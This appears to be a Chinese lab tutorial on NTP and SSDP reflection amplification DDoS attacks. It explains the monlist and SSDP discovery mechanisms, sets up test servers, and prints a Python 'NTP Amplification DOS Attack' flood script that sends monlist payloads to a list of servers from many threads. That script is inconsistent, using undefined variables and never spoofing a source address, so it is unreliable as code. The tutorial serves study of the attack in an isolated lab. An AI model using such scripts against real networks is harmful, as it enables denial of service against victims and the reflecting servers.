最近遇到反射放大攻击的需求,这里简要介绍下相关的攻击类型及实验过程。

NTP反射放大攻击

DDoS攻击是一种耗尽资源的网络攻击方式,攻击者通过流量攻击,有针对性的漏洞攻击等耗尽目标主机的资源来达到拒绝服务的目的。

反射放大攻击是一种具有巨大攻击力的DDoS攻击方式。攻击者只需要付出少量的代价,即可对需要攻击的目标产生巨大的流量,对网络带宽资源(网络层)、连接资源(传输层)和计算机资源(应用层)造成巨大的压力.反射放大攻击主要是利用回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器。

实验环境搭建

0x00 NTP及NTP反射放大攻击

1. NTP

NTP是网络时间协议(Network Time Protocol),它是用来同步网络中各个计算机的时间的协议。它的用途是把计算机的时钟同步到世界协调时UTC,其精度在局域网内可达0.1ms,在互联网上绝大多数的地方其精度可以达到1-50ms。它可以使计算机对其服务器或时钟源(如石英钟,GPS等等)进行时间同步,它可以提供高精准度的时间校正,而且可以使用加密确认的方式来防止病毒的协议攻击。

2. NTP反射放大攻击

由于NTP是基于UDP协议的,UDP协议面向无连接,客户端发送请求包的源 IP 很容易进行伪造。当把源 IP 修改为受害者的 IP,最终服务端返回的响应包就会返回到受害者的 IP。这就形成了一次反射攻击。

NTP反射放大攻击是一种分布式拒绝服务(DDoS)攻击,其中攻击者利用网络时间协议(NTP)服务器功能,以便用一定数量的UDP流量压倒目标网络或服务器,使常规流量无法访问目标及其周围的基础设施。

标准NTP 服务提供了一个 monlist查询功能,也被称为MON_GETLIST,该功能主要用于监控 NTP 服务器的服务状况,当用户端向NTP服务提交monlist查询时,NTP 服务器会向查询端返回与NTP 服务器进行过时间同步的最后 600 个客户端的 IP,响应包按照每 6 个 IP 进行分割,最多有 100 个响应包。由于NTP服务使用UDP协议,攻击者可以伪造源发地址向NTP服务进行monlist查询,这将导致NTP服务器向被伪造的目标发送大量的UDP数据包,理论上这种恶意导向的攻击流量可以放大到伪造查询流量的100倍。

NTP放大攻击可以分为四个步骤:

  1. 攻击者使用僵尸网络,将带有欺骗IP地址的UDP数据包发送到启用了monlist命令的NTP服务器。每个数据包上的欺骗IP地址指向受害者的真实IP地址。
  2. 每个UDP数据包使用其monlist命令向NTP服务器发出请求,从而产生大量响应。
  3. 服务器使用结果数据,响应欺骗地址。
  4. 目标的IP地址接收响应,周围的网络基础设施因流量泛滥而变得不堪重负,导致拒绝服务。

0x01 NTP环境搭建

服务端

  1. 安装NTP服务器:yum install -y ntp
  2. 配置/etc/ntp.conf
    配置如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# For more information about this file, see the man pages
# ntp.conf(5), ntp_acc(5), ntp_auth(5), ntp_clock(5), ntp_misc(5), ntp_mon(5).

driftfile /var/lib/ntp/drift

# Permit time synchronization with our time source, but do not
# permit the source to query or modify the service on this system.
restrict default nomodify notrap nopeer noquery

# Permit all access over the loopback interface. This could
# be tightened as well, but to do so would effect some of
# the administrative functions.
restrict 127.0.0.1
restrict ::1

# Hosts on local network are less restricted.
#restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap

# Use public servers from the pool.ntp.org project.
# Please consider joining the pool (http://www.pool.ntp.org/join.html).

server 0.centos.pool.ntp.org iburst
server 1.centos.pool.ntp.org iburst
server 2.centos.pool.ntp.org iburst
server 3.centos.pool.ntp.org iburst

#broadcast 192.168.1.255 autokey # broadcast server
#broadcastclient # broadcast client
#broadcast 224.0.1.1 autokey # multicast server
#multicastclient 224.0.1.1 # multicast client
#manycastserver 239.255.254.254 # manycast server
#manycastclient 239.255.254.254 autokey # manycast client

# Enable public key cryptography.
#crypto

includefile /etc/ntp/crypto/pw

# Key file containing the keys and key identifiers used when operating
# with symmetric key cryptography.
keys /etc/ntp/keys

# Specify the key identifiers which are trusted.
#trustedkey 4 8 42

# Specify the key identifier to use with the ntpdc utility.
#requestkey 8

# Specify the key identifier to use with the ntpq utility.
#controlkey 8

# Enable writing of statistics records.
#statistics clockstats cryptostats loopstats peerstats

# Disable the monitoring facility to prevent amplification attacks using ntpdc
# monlist command when default restrict does not include the noquery flag. See
# CVE-2013-5211 for more details.
# Note: Monitoring will not be disabled with the limited restriction flag.
  1. 服务开启、测试
1
2
3
systemctl start ntpd
chkconfig ntpd on
ntpstat #查看状态

客户端

查看路由,并调整为服务端可达,安装环境

1
2
yum install -y vim
yum install -y ntp

修改/etc/ntp.conf如下:

client_conf

配置测试,测试成功:

1
ntpdc -n -c monlist 192.168.20.16

config_test

0x02 反射放大攻击

攻击机

1
2
3
4
# 配置环境
git clone https://github.com/secdev/scapy.git
cd ~/scapy
python setup.py install

编写攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from scapy.all import *
import sys
import threading
import time
import random

def deny():
global ntplist
global current_server
global data
global target
ntpserver = ntplist[current_server]
currentserver = current_server + 1
conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
conn.settimeout(5)
try:
# ntp 123
conn.connect((ip, port))
print("connected%s, %d"%(ip, port))
conn.sendall(b'\x17\x00\x02\x2a'+b'\x00'*4)
sleep(1)
data_lens = 0
flag = 0
while True:
try:
data = conn.recv(15000)
flag =1
if len(data):
data_lens+=len(data)+42
else:
break
except socket.timeout:
break
if flag ==1:
log_addr(ip, port,data_lens)
except:
return

def printhelp():
print "NTP Amplification DOS Attack"
exit(0)

try:
if len(sys.argv) < 4:
printhelp()
target = sys.argv[1]

if target in ("help","-h","h","?","--h","--help","/?"):
printhelp()

ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
ntplist = f.readlines()

#Make sure we dont out of bounds
if numberthreads > int(len(ntplist)):
print "Attack Aborted: More threads than servers"
print "Next time dont create more threads than servers"
exit(0)

data = b"\x17\x00\x03\x2a" + b"\x00" * 4

threads = []
print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
print "Use CTRL+C to stop attack"

for n in range(numberthreads):
thread = threading.Thread(target=deny)
thread.daemon = True
thread.start()

threads.append(thread)

#In progress!
print "Sending..."

while True:
time.sleep(1)
except KeyboardInterrupt:
print("Script Stopped [ctrl + c]... Shutting down")

攻击机:

attack

服务器不断刷新攻击包:

success

SSDP反射放大攻击

实验环境搭建

0x00 SSDP反射放大攻击

SSDP攻击是一种基于反射的分布式拒绝服务(DDoS)攻击,它利用通用即插即用(UPnP)网络协议向目标受害者发送放大的流量,以致目标受害者的基础设施和其Web资源脱机。

SSDP DDoS攻击的6个步骤:

  1. 首先,攻击者进行扫描,寻找可以用作放大因子的即插即用设备。
  2. 随着攻击者发现联网设备,他们将创建所有响应设备的列表。
  3. 攻击者使用目标受害者的欺骗IP地址创建UDP数据包。
  4. 然后,攻击者使用僵尸网络通过设置某些标志(特别是ssdp:rootdevice或ssdp:all),向每个即插即用设备发送一个欺骗性发现数据包,并请求更多数据。
  5. 结果,每个设备将向目标受害者发送回复,其数据量最多是攻击者请求的30倍。
  6. 然后目标服务器从所有设备接收大量流量,并且不堪重负,有可能导致对合法流量的拒绝服务。

0x01 SSDP环境搭建

服务端

  1. 构造服务端脚本ssdp_server.py,使用网段网卡eth1用于测试。

三方库安装:

1
2
pip3 install netifaces
pip3 install pydevd

服务端测试脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
import uuid
import netifaces as ni
import logging
import threading
import random
import time
import socket
import logging
from time import sleep
from email.utils import formatdate
from errno import ENOPROTOOPT
from http.server import BaseHTTPRequestHandler, HTTPServer

SSDP_PORT = 1900
SSDP_ADDR = '239.255.255.250'
SERVER_ID = 'ZeWaren example SSDP Server'
NETWORK_INTERFACE = 'eth1'


logger = logging.getLogger()

class SSDPServer:
"""A class implementing a SSDP server. The notify_received and
searchReceived methods are called when the appropriate type of
datagram is received by the server."""
known = {}

def __init__(self):
self.sock = None

def run(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if hasattr(socket, "SO_REUSEPORT"):
try:
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
except socket.error as le:
# RHEL6 defines SO_REUSEPORT but it doesn't work
if le.errno == ENOPROTOOPT:
pass
else:
raise

addr = socket.inet_aton(SSDP_ADDR)
interface = socket.inet_aton('0.0.0.0')
cmd = socket.IP_ADD_MEMBERSHIP
self.sock.setsockopt(socket.IPPROTO_IP, cmd, addr + interface)
self.sock.bind(('0.0.0.0', SSDP_PORT))
self.sock.settimeout(1)

while True:
try:
data, addr = self.sock.recvfrom(1024)
self.datagram_received(data, addr)
except socket.timeout:
continue
self.shutdown()

def shutdown(self):
for st in self.known:
if self.known[st]['MANIFESTATION'] == 'local':
self.do_byebye(st)

def datagram_received(self, data, host_port):
"""Handle a received multicast datagram."""

(host, port) = host_port

try:
header, payload = data.decode().split('\r\n\r\n')[:2]
except ValueError as err:
logger.error(err)
return

lines = header.split('\r\n')
cmd = lines[0].split(' ')
lines = map(lambda x: x.replace(': ', ':', 1), lines[1:])
lines = filter(lambda x: len(x) > 0, lines)

headers = [x.split(':', 1) for x in lines]
headers = dict(map(lambda x: (x[0].lower(), x[1]), headers))

logger.info('SSDP command %s %s - from %s:%d' % (cmd[0], cmd[1], host, port))
logger.debug('with headers: {}.'.format(headers))
if cmd[0] == 'M-SEARCH' and cmd[1] == '*':
# SSDP discovery
self.discovery_request(headers, (host, port))
elif cmd[0] == 'NOTIFY' and cmd[1] == '*':
# SSDP presence
logger.debug('NOTIFY *')
else:
logger.warning('Unknown SSDP command %s %s' % (cmd[0], cmd[1]))

def register(self, manifestation, usn, st, location, server=SERVER_ID, cache_control='max-age=1800', silent=False,
host=None):
"""Register a service or device that this SSDP server will
respond to."""

logging.info('Registering %s (%s)' % (st, location))

self.known[usn] = {}
self.known[usn]['USN'] = usn
self.known[usn]['LOCATION'] = location
self.known[usn]['ST'] = st
self.known[usn]['EXT'] = ''
self.known[usn]['SERVER'] = server
self.known[usn]['CACHE-CONTROL'] = cache_control

self.known[usn]['MANIFESTATION'] = manifestation
self.known[usn]['SILENT'] = silent
self.known[usn]['HOST'] = host
self.known[usn]['last-seen'] = time.time()

if manifestation == 'local' and self.sock:
self.do_notify(usn)

def unregister(self, usn):
logger.info("Un-registering %s" % usn)
del self.known[usn]

def is_known(self, usn):
return usn in self.known

def send_it(self, response, destination, delay, usn):
logger.debug('send discovery response delayed by %ds for %s to %r' % (delay, usn, destination))
try:
self.sock.sendto(response.encode(), destination)
except (AttributeError, socket.error) as msg:
logger.warning("failure sending out byebye notification: %r" % msg)

def discovery_request(self, headers, host_port):
"""Process a discovery request. The response must be sent to
the address specified by (host, port)."""

(host, port) = host_port

logger.info('Discovery request from (%s,%d) for %s' % (host, port, headers['st']))
logger.info('Discovery request for %s' % headers['st'])

# Do we know about this service?
for i in self.known.values():
if i['MANIFESTATION'] == 'remote':
continue
if headers['st'] == 'ssdp:all' and i['SILENT']:
continue
if i['ST'] == headers['st'] or headers['st'] == 'ssdp:all':
response = ['HTTP/1.1 200 OK']

usn = None
for k, v in i.items():
if k == 'USN':
usn = v
if k not in ('MANIFESTATION', 'SILENT', 'HOST'):
response.append('%s: %s' % (k, v))

if usn:
response.append('DATE: %s' % formatdate(timeval=None, localtime=False, usegmt=True))

response.extend(('', ''))
delay = random.randint(0, int(headers['mx']))

self.send_it('\r\n'.join(response), (host, port), delay, usn)

def do_notify(self, usn):
"""Do notification"""

if self.known[usn]['SILENT']:
return
logger.info('Sending alive notification for %s' % usn)

resp = [
'NOTIFY * HTTP/1.1',
'HOST: %s:%d' % (SSDP_ADDR, SSDP_PORT),
'NTS: ssdp:alive',
]
stcpy = dict(self.known[usn].items())
stcpy['NT'] = stcpy['ST']
del stcpy['ST']
del stcpy['MANIFESTATION']
del stcpy['SILENT']
del stcpy['HOST']
del stcpy['last-seen']

resp.extend(map(lambda x: ': '.join(x), stcpy.items()))
resp.extend(('', ''))
logger.debug('do_notify content', resp)
try:
self.sock.sendto('\r\n'.join(resp).encode(), (SSDP_ADDR, SSDP_PORT))
self.sock.sendto('\r\n'.join(resp).encode(), (SSDP_ADDR, SSDP_PORT))
except (AttributeError, socket.error) as msg:
logger.warning("failure sending out alive notification: %r" % msg)

def do_byebye(self, usn):
"""Do byebye"""

logger.info('Sending byebye notification for %s' % usn)

resp = [
'NOTIFY * HTTP/1.1',
'HOST: %s:%d' % (SSDP_ADDR, SSDP_PORT),
'NTS: ssdp:byebye',
]
try:
stcpy = dict(self.known[usn].items())
stcpy['NT'] = stcpy['ST']
del stcpy['ST']
del stcpy['MANIFESTATION']
del stcpy['SILENT']
del stcpy['HOST']
del stcpy['last-seen']
resp.extend(map(lambda x: ': '.join(x), stcpy.items()))
resp.extend(('', ''))
logger.debug('do_byebye content', resp)
if self.sock:
try:
self.sock.sendto('\r\n'.join(resp), (SSDP_ADDR, SSDP_PORT))
except (AttributeError, socket.error) as msg:
logger.error("failure sending out byebye notification: %r" % msg)
except KeyError as msg:
logger.error("error building byebye notification: %r" % msg)


class UPNPHTTPServerHandler(BaseHTTPRequestHandler):
"""
A HTTP handler that serves the UPnP XML files.
"""

# Handler for the GET requests
def do_GET(self):

if self.path == '/boucherie_wsd.xml':
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
self.wfile.write(self.get_wsd_xml().encode())
return
if self.path == '/jambon-3000.xml':
self.send_response(200)
self.send_header('Content-type', 'application/xml')
self.end_headers()
self.wfile.write(self.get_device_xml().encode())
return
else:
self.send_response(404)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(b"Not found.")
return

def get_device_xml(self):
"""
Get the main device descriptor xml file.
"""
xml = """<root>
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<device>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>{friendly_name}</friendlyName>
<UDN>uuid:{uuid}</UDN>
<serviceList>
<service>
<URLBase>http://xxx.yyy.zzz.aaaa:5000</URLBase>
<serviceType>urn:boucherie.example.com:service:Jambon:1</serviceType>
<serviceId>urn:boucherie.example.com:serviceId:Jambon</serviceId>
<controlURL>/jambon</controlURL>
<eventSubURL/>
<SCPDURL>/boucherie_wsd.xml</SCPDURL>
</service>
</serviceList>
<presentationURL>{presentation_url}</presentationURL>
</device>
</root>"""
return xml.format(friendly_name=self.server.friendly_name,
manufacturer=self.server.manufacturer,
manufacturer_url=self.server.manufacturer_url,
model_description=self.server.model_description,
model_name=self.server.model_name,
model_number=self.server.model_number,
model_url=self.server.model_url,
serial_number=self.server.serial_number,
uuid=self.server.uuid,
presentation_url=self.server.presentation_url)

@staticmethod
def get_wsd_xml():
"""
Get the device WSD file.
"""
return """<scpd xmlns="urn:schemas-upnp-org:service-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
</scpd>"""


class UPNPHTTPServerBase(HTTPServer):
"""
A simple HTTP server that knows the information about a UPnP device.
"""
def __init__(self, server_address, request_handler_class):
HTTPServer.__init__(self, server_address, request_handler_class)
self.port = None
self.friendly_name = None
self.uuid = None
self.presentation_url = None


class UPNPHTTPServer(threading.Thread):
"""
A thread that runs UPNPHTTPServerBase.
"""

def __init__(self, port, friendly_name, uuid, presentation_url):
threading.Thread.__init__(self, daemon=True)
self.server = UPNPHTTPServerBase(('', port), UPNPHTTPServerHandler)
self.server.port = port
self.server.friendly_name = friendly_name
self.server.uuid = uuid
self.server.presentation_url = presentation_url

def run(self):
self.server.serve_forever()


logger1 = logging.getLogger()
logger1.setLevel(logging.DEBUG)

def get_network_interface_ip_address(interface='eth1'):
"""
Get the first IP address of a network interface.
:param interface: The name of the interface.
:return: The IP address.
"""
while True:
if NETWORK_INTERFACE not in ni.interfaces():
logger1.error('Could not find interface %s.' % (interface,))
exit(1)
interface = ni.ifaddresses(interface)
if (2 not in interface) or (len(interface[2]) == 0):
logger1.warning('Could not find IP of interface %s. Sleeping.' % (interface,))
sleep(60)
continue
return interface[2][0]['addr']


device_uuid = uuid.uuid4()
local_ip_address = get_network_interface_ip_address(NETWORK_INTERFACE)

http_server = UPNPHTTPServer(8088,
friendly_name="Jambon 3000",
uuid=device_uuid,
presentation_url="http://{}:5000/".format(local_ip_address))
http_server.start()

ssdp = SSDPServer()
ssdp.register('local',
'uuid:{}::upnp:rootdevice'.format(device_uuid),
'upnp:rootdevice',
'http://{}:8088/jambon-3000.xml'.format(local_ip_address))
ssdp.run()
  1. 构造开机自启脚本auto.sh
1
python3 ssdp_server.py

添加执行权限chmod 755 ssdp_server.py

写入开机自启动vim /etc/rc.d/rc.local

1
bash /root/auto.sh

ssdp_server

客户端

  1. 查看路由,并调整为服务端可达,安装实验环境
1
yum install -y vim
  1. 部署攻击脚本ssdp_attack.py,攻击脚本可通过理解协议完成构造,可参考ssdp_attack

  2. 指定网段网卡,并运行。测试成功,服务端不断刷新回显。